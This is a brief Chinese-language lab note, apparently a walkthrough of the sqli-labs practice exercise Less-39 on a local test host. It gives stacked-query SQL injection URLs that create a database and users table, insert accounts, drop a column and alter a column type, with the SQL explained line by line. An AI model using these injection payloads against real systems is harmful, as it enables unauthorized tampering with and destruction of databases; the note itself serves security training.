sqli

与上一课只是闭合方式不同。

http://192.168.75.133/sql/Less-39/?id=1; create database auth;use auth;create table users( id int(3) not null auto_increment, username varchar(200) not null, password varchar(200) not null, primary key (id));%23

1
2
3
4
5
6
7
8
9

create database auth; //创建数据库
use auth; 			//使用auth数据库
//创建用户表
create table users(
    id int(3) not null auto_increment,
    username varchar(200) not null,
    password varchar(200)  not null,
    primary key (id)
);

插入数据

http://192.168.75.133/sql/Less-39/?id=1;use auth;insert into users values('0','zhao','zhao'); insert into users values('0','qian','qian'); insert into users values('0','sun','sun'); insert into users values('0','li','li'); insert into users values('0','admin','admin');%23

删除已存在的字段

http://192.168.75.132/sql/Less-39/?id=1;use auth;alter table users drop username;%23

修改列的类型

http://192.168.75.132/sql/Less-39/?id=1;use auth;alter table users modify id char(40);%23